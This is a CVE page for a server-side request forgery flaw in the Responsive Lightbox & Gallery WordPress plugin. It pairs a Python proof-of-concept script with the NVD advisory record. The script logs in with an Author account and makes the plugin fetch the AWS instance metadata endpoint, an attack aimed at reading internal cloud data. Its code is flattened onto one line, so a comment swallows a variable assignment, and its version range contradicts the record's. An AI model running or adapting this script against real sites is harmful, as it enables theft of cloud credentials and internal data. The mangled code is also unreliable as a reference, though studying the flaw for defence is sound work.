CVE-2025-12359

# CVE-2025-12359 SSRF PoC for Responsive Lightbox & Gallery < 2.5.3 # Requires Author-level WordPress account import requests import sys from urllib.parse import quote target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" wp_user = "author_username" wp_pass = "author_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": wp_user, "pwd": wp_pass, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/" } session.post(login_url, data=login_data) # Exploit SSRF via get_image_size_by_url function # Target internal service or external endpoint ssrf_payload = "http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Trigger via gallery image size check params = { "action": "rl_get_image_size", "image_url": ssrf_payload, "gallery_id": 1 } response = session.get(endpoint, params=params) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text[:500]}")

{"cve": {"id": "CVE-2025-12359", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:45.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the 'get_image_size_by_url' function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-fast-image.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-frontend.php#L1531", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-galleries.php#L3648", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/functions.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3397940%40responsive-lightbox%2Ftrunk&old=3358021%40responsive-lightbox%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-12359", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f4c0bd6-f289-4a52-ac11-345076c32d84?source=cve", "source": "[email protected]"}]}}